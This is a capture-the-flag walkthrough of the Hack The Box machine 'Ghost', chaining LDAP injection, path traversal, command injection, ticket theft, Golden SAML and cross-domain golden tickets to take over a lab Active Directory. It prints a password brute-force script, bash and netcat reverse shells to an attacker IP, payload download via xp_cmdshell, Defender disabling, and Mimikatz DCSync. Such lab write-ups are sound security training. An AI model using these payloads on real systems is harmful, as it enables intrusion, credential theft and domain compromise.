Skip to content
Archwarden
Go back
HTB: Ghost
HTB
Windows Insane Retired

HTB: Ghost

View Report
Techniques Vhost FuzzingLDAP Injection Authentication BypassLDAP Wildcard Brute-ForcePath Traversal / LFIOS Command InjectionSSH ControlMaster HijackingKerberos Ticket ExtractionADIDNS Record InjectionResponder NTLM CaptureOffline Hash CrackingBloodHound EnumerationGMSA Password AbuseGolden SAML AttackMSSQL Linked Server RCESeImpersonatePrivilege Abuse (EfsPotato)Cross-Domain Golden Ticket

Summary

Ghost is a Windows domain controller running Active Directory alongside a Ghost CMS blog, a Next.js intranet, a Gitea instance, ADFS, and MSSQL — with a bidirectional cross-domain trust to a secondary domain. It is a long chain of web, identity, and Active Directory attacks that requires stitching together several unrelated vulnerabilities.

The path to the user flag starts with vhost discovery, bypasses intranet authentication through LDAP injection, extracts a Gitea service account password via LDAP wildcard brute-force, then exploits a path traversal in the Ghost CMS content API to retrieve an internal developer key. A command injection in the intranet scan API provides a shell inside a Docker container. A cached SSH ControlMaster socket lets us hijack Florence Ramirez’s session and steal her Kerberos TGT. Injecting a poisoned DNS record triggers an NTLM authentication from Justin Bradley to a Responder listener, and cracking the NTLMv2 hash yields WinRM credentials and the user flag.

The root path goes through BloodHound revealing ReadGMSAPassword rights over the ADFS service account, then forging a Golden SAML token to access the Ghost Core admin panel. MSSQL linked server RCE provides a foothold on the corp domain. SeImpersonatePrivilege escalates to SYSTEM via EfsPotato. A cross-domain golden ticket with SID history injection lets us read the root flag directly off the ghost.htb domain controller.

Flags:


Detailed Walkthrough

Enumeration

Nmap Scan

As always, begin with a full TCP scan.

sudo nmap -p- --min-rate 1000 -T4 10.129.231.105 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run detailed enumeration:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.231.105
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-12 14:04:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb)
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu) — SSL cert CN: core.ghost.htb
9389/tcp  open  mc-nmf        .NET Message Framing
  • 88, 389/636/3268/3269 confirm a domain controller — domain is ghost.htb, hostname DC01
  • 1433 (MSSQL) is worth flagging early — SQL Server on a DC is not typical and usually means something interesting is accessible through it
  • 5985 (WinRM) is open, so valid credentials mean an interactive shell
  • 8008/8443 are nginx on Ubuntu — not the Windows host itself, almost certainly a container behind the same IP
  • The 8443 SSL cert names core.ghost.htb

Add initial entries to /etc/hosts:

sudo nano /etc/hosts
# 10.129.231.105  DC01.ghost.htb core.ghost.htb ghost.htb

Sync the clock to prevent Kerberos failures:

sudo ntpdate 10.129.231.105

Web Enumeration

Port 80 returns a 404. Port 8008 serves a Ghost CMS blog over nginx.

Ghost CMS blog on port 8008

The default site is sparse. Before diving into the CMS itself, check for virtual hosts on port 8008:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://ghost.htb:8008 \
  -H "Host: FUZZ.ghost.htb" \
  -fs 7676

One match: intranet. Add it to /etc/hosts and visit:

sudo nano /etc/hosts
# 10.129.231.105  intranet.ghost.htb

LDAP Injection — Intranet Authentication Bypass

http://intranet.ghost.htb:8008 shows a login page.

Intranet login page

The page source contains a giveaway:

<input class="input" placeholder="" data-1p-ignore="" name="ldap-username">

Intranet page source showing ldap-username field name

The field name confirms the backend is authenticating against LDAP. LDAP filters treat * as a wildcard — submitting * for both username and password tells the LDAP server “match any user whose password starts with anything,” which evaluates as true for every account. The login succeeds without any real credentials.

Wildcard credentials bypassing LDAP authentication

Finding 1 — LDAP Injection Authentication Bypass on Intranet Login

Intranet Enumeration

The authenticated intranet has several sections worth covering. The News section references a Gitea instance and includes a note that gitea_temp_principal can log in using the intranet token. Add gitea.ghost.htb to /etc/hosts.

Intranet news section referencing Gitea and gitea_temp_principal

The Forums section has a complaint thread: a user cannot reach bitbucket.ghost.htb because the DNS record was never created. File that away — it will matter later.

Intranet forum post about the missing bitbucket.ghost.htb DNS record

The Users section lists every internal account:

Intranet users listing

kathryn.holland
cassandra.shelton
robert.steeves
florence.ramirez
justin.bradley
arthur.boyd
beth.clark
charles.gray
jason.taylor
intranet_principal
gitea_temp_principal

Validate all of them against the domain with Kerbrute:

kerbrute userenum -d ghost.htb --dc dc01.ghost.htb users.txt

Kerbrute confirming all users are valid domain accounts

Every account is valid.

LDAP Wildcard Brute-Force — Recovering the Gitea Password

We have a username for Gitea: gitea_temp_principal. We need the actual password. The LDAP injection gives us more than a bypass — it gives us a character-by-character oracle. LDAP wildcard filters accept <prefix>* as a pattern, so a payload like szrr* as the password will succeed if the real password starts with szrr. The application returns HTTP 303 on a successful bind and an error response on failure.

Capture the login POST to get the exact multipart structure:

Captured intranet login request showing multipart form fields

Script the brute-force:

import string
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET_URL = "http://intranet.ghost.htb:8008/login"
USERNAME = "gitea_temp_principal"
CHARSET = string.ascii_lowercase + string.digits
MAX_THREADS = 16
MAX_LEN = 32

NEXT_ACTION_ID = "c471eb076ccac91d6f828b671795550fd5925940"
NEXT_ROUTER_STATE_TREE = (
    "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B"
    "%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D"
)

session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/x-component",
    "Referer": TARGET_URL,
    "Origin": "http://intranet.ghost.htb:8008",
    "Next-Action": NEXT_ACTION_ID,
    "Next-Router-State-Tree": NEXT_ROUTER_STATE_TREE,
})


def try_candidate(prefix: str, char: str) -> str | None:
    candidate = f"{prefix}{char}*"
    files = {
        "1_ldap-username": (None, USERNAME),
        "1_ldap-secret":   (None, candidate),
        "0":               (None, '[{},"$K1"]'),
    }
    resp = session.post(TARGET_URL, files=files, allow_redirects=False)
    return char if resp.status_code == 303 else None


def crack_password() -> str:
    password = ""
    for position in range(1, MAX_LEN + 1):
        with ThreadPoolExecutor(max_workers=MAX_THREADS) as pool:
            futures = {pool.submit(try_candidate, password, c): c for c in CHARSET}
            found = None
            for future in as_completed(futures):
                result = future.result()
                if result is not None:
                    found = result
                    for f in futures:
                        f.cancel()
                    break
        if found is None:
            print(f"[!] No match at position {position}. Done.")
            break
        password += found
        print(f"[+] Position {position}: '{password}'")
    return password


if __name__ == "__main__":
    print("[*] Starting LDAP wildcard brute-force...")
    pwd = crack_password()
    print(f"[+] Recovered password: {pwd}")

Note: I am not a developer — I used AI assistance to generate this script.

Python LDAP wildcard brute-force script recovering the password character by character

Password recovered: szrr8kpc3z6onlqf

Log into Gitea at gitea.ghost.htb as gitea_temp_principal:szrr8kpc3z6onlqf.

Gitea login page

Gitea dashboard after successful login

Finding 2 — LDAP Wildcard Injection Enabling Character-by-Character Password Extraction

Gitea — Source Code Review

Two repositories are accessible. The blog repository documents the Ghost CMS setup.

Gitea blog repository overview

The README.md reveals a public Ghost content API key:

a5af628828958c976a3b6cc81a

It also documents a DEV_INTRANET_KEY environment variable that gates access to internal developer API endpoints on the intranet backend.

posts-public.js contains the more interesting finding:

async query(frame) {
    const posts = await postsService.browsePosts(options);
    const extra = frame.original.query?.extra;
    if (extra) {
        const fs = require("fs");
        if (fs.existsSync(extra)) {
            const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
            posts.meta.extra = { [extra]: fileContent };
        }
    }
    return posts;
}

posts-public.js showing path concatenation with no sanitisation

The extra parameter is concatenated directly onto a base path and read from disk. Path traversal sequences will escape the base directory.

The intranet repository contains the backend source.

Gitea intranet repository

/intranet/src/branch/main/backend/src/api/dev/scan.rs is the other key file:

pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

scan.rs showing user input inserted directly into a bash -c invocation

User input from the url field is inserted into a bash -c string with no sanitisation. That is OS command injection.

The endpoint is /api-dev/scan on the intranet host and requires the X-DEV-INTRANET-KEY header — which we still need to retrieve.

Path Traversal — Ghost CMS Content API

Use the public API key and a traversal payload to read /etc/passwd from the Ghost container:

curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../../../../../etc/passwd&key=a5af628828958c976a3b6cc81a"

Path traversal confirming /etc/passwd is readable via the extra parameter

File read is confirmed. Now read /proc/self/environ to dump the container’s environment variables and locate the DEV_INTRANET_KEY:

curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a"

/proc/self/environ revealing the DEV_INTRANET_KEY value

Key recovered: !@yqr!X2kxmQ.@Xe

Finding 3 — Path Traversal in Ghost CMS Content API Enabling Arbitrary File Read

Command Injection — Intranet Developer API

With the key, test the scan endpoint for code execution:

curl -X POST http://intranet.ghost.htb:8008/api-dev/scan \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  -H 'Content-Type: application/json' \
  -d '{"url":"; whoami"}'

RCE whoami returning root inside the container

Returns root — we are inside the Docker container.

Finding 4 — OS Command Injection in Intranet API Scan Endpoint

Start a listener and catch a reverse shell:

rlwrap nc -lvnp 9001

Netcat listener ready on port 9001

curl -X POST http://intranet.ghost.htb:8008/api-dev/scan \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  -H 'Content-Type: application/json' \
  -d '{"url":"; bash -i >& /dev/tcp/10.10.16.60/9001 0>&1"}'

Reverse shell connecting from the Docker container as root Shell active inside Docker container as root

Docker Post-Exploitation — SSH ControlMaster Hijacking

Enumerating the container, the root user’s .ssh directory contains a live ControlMaster socket:

/root/.ssh/ControlMaster/[email protected]@dev-workstation:22

Docker filesystem showing .ssh directory and ControlMaster socket

ControlMaster socket for florence.ramirez visible in .ssh

SSH ControlMaster multiplexes multiple sessions over a single authenticated connection. A live socket means the connection to dev-workstation as florence.ramirez is already established and authenticated. We can tunnel commands through it without knowing her credentials.

Florence’s Kerberos TGT is stored at /tmp/krb5cc_50. Extract it via the hijacked socket:

ssh [email protected]@dev-workstation "cat /tmp/krb5cc_50 | base64 -w 0; echo"

Extracting florence.ramirez Kerberos ticket cache via the hijacked ControlMaster socket

Decode it locally:

echo '<base64_output>' | base64 -d > florence.ccache

Decoding the base64 ticket cache to a local .ccache file

Export it for Kerberos-aware tools:

export KRB5CCNAME=florence.ccache

KRB5CCNAME environment variable set to florence.ccache

Finding 5 — Active SSH ControlMaster Socket Enabling Session Hijacking and Kerberos Ticket Theft

DNS Poisoning + Responder — Justin Bradley

The forum post noted that bitbucket.ghost.htb has no DNS record. Using Florence’s TGT we can write one into Active Directory DNS, pointing it at our attacker machine. Any user who tries to browse to bitbucket.ghost.htb will authenticate against us instead.

Start Responder first:

sudo responder -I tun0 -v

Responder listener active on tun0

Inject the DNS record using bloodyAD with Florence’s TGT:

bloodyAD -d ghost.htb -k --host DC01.ghost.htb add dnsRecord bitbucket 10.10.16.60

bloodyAD injecting the bitbucket.ghost.htb DNS record pointing to the attacker

Shortly after, Responder captures an NTLMv2 hash from justin.bradley:

Responder capturing the NTLMv2 hash from justin.bradley

Crack it with Hashcat (mode 5600 = NetNTLMv2):

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat cracking justin.bradley NTLMv2 hash

Credentials: justin.bradley:Qwertyuiop1234$$

Finding 6 — ADIDNS Record Injection Enabling NTLM Credential Capture via Responder

Foothold — WinRM

evil-winrm -i ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'

Evil-WinRM session as justin.bradley, user flag on Desktop

User flag captured.


Active Directory Enumeration — BloodHound

Close Burp Suite before starting BloodHound — both default to port 8080 and they will conflict.

rusthound-ce -d ghost.htb -u 'justin.bradley' -p 'Qwertyuiop1234$$' -o ./bh -z

RustHound-CE collecting domain data

Import the zip into BloodHound, mark justin.bradley as owned, and run a Cypher shortest-path query from owned principals.

BloodHound login

Importing RustHound data into BloodHound

Marking justin.bradley as owned

BloodHound Cypher shortest path from owned principals

The graph shows justin.bradley has ReadGMSAPassword over adfs_gmsa$.

BloodHound edge showing ReadGMSAPassword on adfs_gmsa$

Read the GMSA password with NXC:

nxc ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa

nxc --gmsa returning the adfs_gmsa$ NTLM hash

GMSA hash recovered: adfs_gmsa$:16b9766667b1e9f8d4c315a11707c497

The account name is ADFS_GMSA$ — this is the service account running Active Directory Federation Services.

Finding 7 — ReadGMSAPassword Rights Enabling ADFS Service Account Credential Recovery

Golden SAML Attack

Visiting https://core.ghost.htb:8443 presents a Ghost Core login with an Active Directory Federation button.

Ghost Core login page on port 8443

Clicking it redirects to federation.ghost.htb. Add it to /etc/hosts and reload.

Ghost Core redirecting to federation.ghost.htb for ADFS login

ADFS federation login page at federation.ghost.htb

Justin’s credentials authenticate, but the panel shows it is restricted to administrators.

Ghost Core panel showing restricted access after justin.bradley login

ADFS issues SAML tokens signed with a Token Signing Certificate. The private key for that certificate is encrypted using a Distributed Key Manager (DKM) key stored in Active Directory. As adfs_gmsa$ we have access to the ADFS service and can extract both. With them, we can forge a SAML token for any user — including Administrator. This is a Golden SAML attack.

Clone the tools needed:

git clone https://github.com/mandiant/ADFSDump.git
git clone https://github.com/szymex73/ADFSpoof.git

Cloning ADFSDump and ADFSpoof

ADFSDump requires compilation. On Linux, use xbuild:

xbuild ADFSDump.sln /p:Configuration=Release

Compiling ADFSDump.exe with xbuild on Linux

Log in via Evil-WinRM as ADFS_GMSA$ and upload the binary:

evil-winrm -i ghost.htb -u 'ADFS_GMSA$' -H 16b9766667b1e9f8d4c315a11707c497

Evil-WinRM session established as adfs_gmsa$

upload ADFSDump.exe

Uploading ADFSDump.exe via Evil-WinRM upload

.\ADFSDump.exe

ADFSDump running and extracting ADFS key material

ADFSDump output showing DKM key and encrypted token signing key

Save the DKM key and encrypted token signing key to files on the attacker machine:

echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' > dkmkey.txt
echo '<encrypted_token_signing_key_blob>' > tkskey.txt

Convert both to binary format:

cat tkskey.txt | base64 -d > TKSKey.bin
cat dkmkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

Converting DKM and TKS keys to binary format

ADFSpoof has dependency conflicts between cryptography and lxml. Downgrading to Python 3.11, or installing a lower version of cryptography that satisfies lxml’s requirements, resolves it.

Forge a SAML assertion for [email protected]:

python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin -s 'core.ghost.htb' saml2 \
  --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid '[email protected]' \
  --rpidentifier 'https://core.ghost.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

ADFSpoof generating the forged SAML token for Administrator

With Burp Suite intercepting traffic, trigger the ADFS federated login from https://core.ghost.htb:8443/login. Forward requests until Burp captures the POST /adfs/saml/postResponse request.

Burp Suite intercepting the SAML postResponse request

Replace the SAMLResponse field value with the ADFSpoof output, then forward the modified request.

Forwarding the modified request with the forged SAMLResponse value

The Ghost Core admin panel loads as Administrator. The panel also surfaces a new domain: corp.ghost.htb. Add it to /etc/hosts.

Ghost Core admin panel access after Golden SAML authentication

Finding 8 — ADFS Token Signing Key Extraction Enabling Golden SAML Token Forgery

MSSQL Linked Server — RCE on corp.ghost.htb

The Ghost Core admin panel exposes a SQL query interface against the MSSQL instance. Query the linked servers:

select * from master..sysservers;

MSSQL sysservers query returning DC01 and PRIMARY linked server entries

Two entries: DC01 (the local instance) and PRIMARY (a linked server in the corp.ghost.htb domain). PRIMARY has rpcout: true and dataaccess: true, which means we can execute queries against it remotely.

To run xp_cmdshell on PRIMARY, we chain the configuration and execution into a single EXEC ... AT call. MSSQL configuration changes made this way are not persistent, so everything has to happen in one statement:

EXEC ('execute as login = ''sa'';
  exec master.dbo.sp_configure "show advanced options",1; RECONFIGURE;
  exec master.dbo.sp_configure "xp_cmdshell", 1; RECONFIGURE;
  exec master..xp_cmdshell ''hostname''') AT "PRIMARY";

Chained xp_cmdshell execution via linked server returning hostname

Code execution confirmed on PRIMARY. Transfer nc64.exe and catch a reverse shell:

wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe -O nc64.exe
python3 -m http.server 80
rlwrap nc -nlvp 9001
EXEC ('execute as login = ''sa''; exec xp_cmdshell ''curl.exe http://10.10.16.60/nc64.exe -o C:\windows\temp\nc64.exe''') AT "PRIMARY"

Uploading nc64.exe to PRIMARY via xp_cmdshell curl

EXEC ('execute as login = ''sa''; exec xp_cmdshell ''C:\windows\temp\nc64.exe -e powershell 10.10.16.60 9001''') AT "PRIMARY"

Shell connecting from PRIMARY as nt service\mssqlserver

Shell obtained as nt service\mssqlserver.

Finding 9 — MSSQL Linked Server Remote Code Execution via xp_cmdshell

Privilege Escalation — SeImpersonatePrivilege (EfsPotato)

Check token privileges:

whoami /priv

whoami /priv showing SeImpersonatePrivilege is enabled

SeImpersonatePrivilege is available. Use EfsPotato to escalate to SYSTEM:

git clone https://github.com/zcgonvh/EfsPotato
cd EfsPotato
mcs EfsPotato.cs

Compiling EfsPotato with mcs

Serve and transfer it to the target:

python3 -m http.server 80
iwr http://10.10.16.60/EfsPotato.exe -UseBasicParsing -OutFile EfsPotato.exe

EfsPotato.exe transferred to target

Test execution:

.\EfsPotato.exe whoami

EfsPotato confirming execution as nt authority\system

Returns nt authority\system. Start a listener and catch the SYSTEM shell:

rlwrap nc -nlvp 9002
.\EfsPotato.exe 'C:\windows\temp\nc64.exe 10.10.16.60 9002 -e powershell.exe'

EfsPotato spawning reverse shell as SYSTEM

whoami confirming nt authority\system

Finding 10 — SeImpersonatePrivilege Abuse via EfsPotato Enabling Privilege Escalation to SYSTEM

Cross-Domain Golden Ticket

SYSTEM on PRIMARY gives us full access to the corp.ghost.htb domain. Disable Windows Defender to make tooling easier:

Set-MpPreference -DisableRealtimeMonitoring $True

Disabling Windows Defender real-time monitoring

Transfer PowerView and enumerate domain trusts:

iwr http://10.10.16.60/powerview.ps1 -UseBasicParsing -OutFile powerview.ps1
. .\PowerView.ps1
Get-DomainTrust

PowerView transferred to the SYSTEM shell

Get-DomainTrust showing bidirectional trust between corp.ghost.htb and ghost.htb

The trust between corp.ghost.htb and ghost.htb is bidirectional. A cross-trust golden ticket with SID history is the path forward: if we forge a ticket that includes the ghost.htb Enterprise Admins SID in the SID history field, the ghost.htb DC will honour it and grant full domain access.

Collect both domain SIDs:

Get-DomainSid ghost.htb
Get-DomainSid corp.ghost.htb

Get-DomainSid returning SIDs for both ghost.htb and corp.ghost.htb

ghost.htb:      S-1-5-21-4084500788-938703357-3654145966
corp.ghost.htb: S-1-5-21-2034262909-2733679486-179904498

Dump the corp.ghost.htb krbtgt hash with Mimikatz:

iwr http://10.10.16.60/mimikatz.exe -UseBasicParsing -OutFile mimikatz.exe
.\mimikatz.exe 'lsadump::dcsync /user:[email protected]' exit

Mimikatz transferred to target

Mimikatz DCSync returning the krbtgt AES256 hash for corp.ghost.htb

AES256: b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d

Transfer Rubeus and forge the golden ticket. The sids argument is the key detail — appending -519 specifies the Enterprise Admins group SID for ghost.htb, which Rubeus embeds into the SID history field of the forged ticket:

iwr http://10.10.16.60/Rubeus.exe -UseBasicParsing -OutFile Rubeus.exe
.\Rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt

Rubeus transferred to target

Rubeus generating and injecting the cross-domain golden ticket with SID history

The ticket is injected into the current session. Access DC01.ghost.htb directly:

dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt

Root flag read from DC01 Administrator Desktop via the golden ticket

Finding 11 — Cross-Domain Golden Ticket with SID History Injection Enabling Full ghost.htb Domain Compromise


Takeaways

How this box helped me prepare for the CPTS exam

  1. Source code repositories expose secrets — Gitea held both findings that made the foothold possible: path traversal in the Ghost CMS content API and command injection in the intranet backend. Neither would have appeared in a standard web scan. On the CPTS exam, searching code repositories can reveal functionality that opens the next phase. When you find a code repository during an engagement, read the application logic, not just the README.

  2. Chain web findings instead of treating them as dead ends — Getting a shell here required three steps in sequence: exploit the path traversal to read the environment, use the recovered key to authenticate to a second endpoint, then exploit the command injection on that endpoint. No single finding was enough on its own. One finding often just unlocks the next one. Be ready to chain findings across the attack surface.

  3. GMSA password abuse is worth knowing cold — Ghost had ReadGMSAPassword as a key BloodHound edge. It led to the ADFS service account. Even without BloodHound to surface it, GMSA abuse is worth testing whenever you have any AD foothold and are looking for a privilege path forward.

  4. Most of Ghost goes well beyond CPTS scope, and that is fine — Golden SAML, SSH ControlMaster hijacking, LDAP wildcard brute-force, and MSSQL linked server chaining are techniques beyond what the CPTS course material teaches. Ghost is rated Insane for a reason, and I want to be honest that a CPTS student should not feel like they are behind for finding this box overwhelming. What does carry over is the methodology: enumerate every service, read available source code, chain findings across the application and identity layers, use BloodHound to map privilege paths, and treat every compromised credential as a potential pivot. The process never changes.



Previous
HTB: Snoopy
Next
HTB: Trick